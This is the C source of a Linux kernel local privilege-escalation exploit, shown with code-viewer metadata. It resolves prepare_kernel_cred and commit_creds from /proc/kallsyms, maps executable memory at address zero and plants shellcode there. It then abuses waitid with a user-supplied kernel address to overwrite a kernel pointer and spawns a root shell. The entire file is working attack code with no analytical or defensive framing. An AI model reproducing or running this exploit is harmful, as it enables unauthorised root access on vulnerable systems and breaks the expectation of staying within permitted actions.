127 lines
No EOL
3.2 KiB
C
127 lines
No EOL
3.2 KiB
C
#define _GNU_SOURCE
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <sys/types.h>
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#include <sys/wait.h>
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#include <sys/mman.h>
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#include <string.h>
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struct cred;
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struct task_struct;
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typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
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typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
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prepare_kernel_cred_t prepare_kernel_cred;
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commit_creds_t commit_creds;
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void get_shell() {
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char *argv[] = {"/bin/sh", NULL};
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if (getuid() == 0){
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printf("[+] Root shell success !! :)\n");
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execve("/bin/sh", argv, NULL);
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}
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printf("[-] failed to get root shell :(\n");
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}
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void get_root() {
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if (commit_creds && prepare_kernel_cred)
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commit_creds(prepare_kernel_cred(0));
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}
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unsigned long get_kernel_sym(char *name)
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{
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FILE *f;
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unsigned long addr;
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char dummy;
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char sname[256];
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int ret = 0;
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f = fopen("/proc/kallsyms", "r");
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if (f == NULL) {
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printf("[-] Failed to open /proc/kallsyms\n");
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exit(-1);
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}
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printf("[+] Find %s...\n", name);
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while(ret != EOF) {
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ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
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if (ret == 0) {
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fscanf(f, "%s\n", sname);
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continue;
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}
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if (!strcmp(name, sname)) {
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fclose(f);
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printf("[+] Found %s at %lx\n", name, addr);
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return addr;
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}
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}
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fclose(f);
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return 0;
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}
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int main(int ac, char **av)
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{
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if (ac != 2) {
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printf("./exploit kernel_offset\n");
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printf("exemple = 0xffffffff81f3f45a");
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return EXIT_FAILURE;
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}
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// 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions
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prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
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commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
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// have_canfork_callback offset <= rendre dynamique aussi
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pid_t pid;
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/* siginfo_t info; */
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// 1 - Mapper la mmoire l'adresse 0x0000000000000000
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printf("[+] Try to allocat 0x00000000...\n");
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if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
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printf("[-] Failed to allocat 0x00000000\n");
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return -1;
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}
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printf("[+] Allocation success !\n");
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/* memset(0, 0xcc, 4096); */
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/*
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movq rax, 0xffffffff81f3f45a
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movq [rax], 0
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mov rax, 0x4242424242424242
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call rax
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xor rax, rax
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ret
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replace 0x4242424242424242 by get_root
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https://defuse.ca/online-x86-assembler.htm#disassembly
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*/
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unsigned char shellcode[] =
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{ 0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, 0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 };
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void **get_root_offset = rawmemchr(shellcode, 0x42);
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(*get_root_offset) = get_root;
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memcpy(0, shellcode, sizeof(shellcode));
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/* strcpy(0, "\x48\x31\xC0\xC3"); // xor rax, rax; ret */
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if(-1 == (pid = fork())) {
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perror("fork()");
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return EXIT_FAILURE;
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}
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if(pid == 0) {
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_exit(0xDEADBEEF);
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perror("son");
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return EXIT_FAILURE;
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}
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siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0);
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waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED);
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// TRIGGER
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pid = fork();
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printf("fork_ret = %d\n", pid);
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if (pid > 0)
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get_shell();
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return EXIT_SUCCESS;
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} |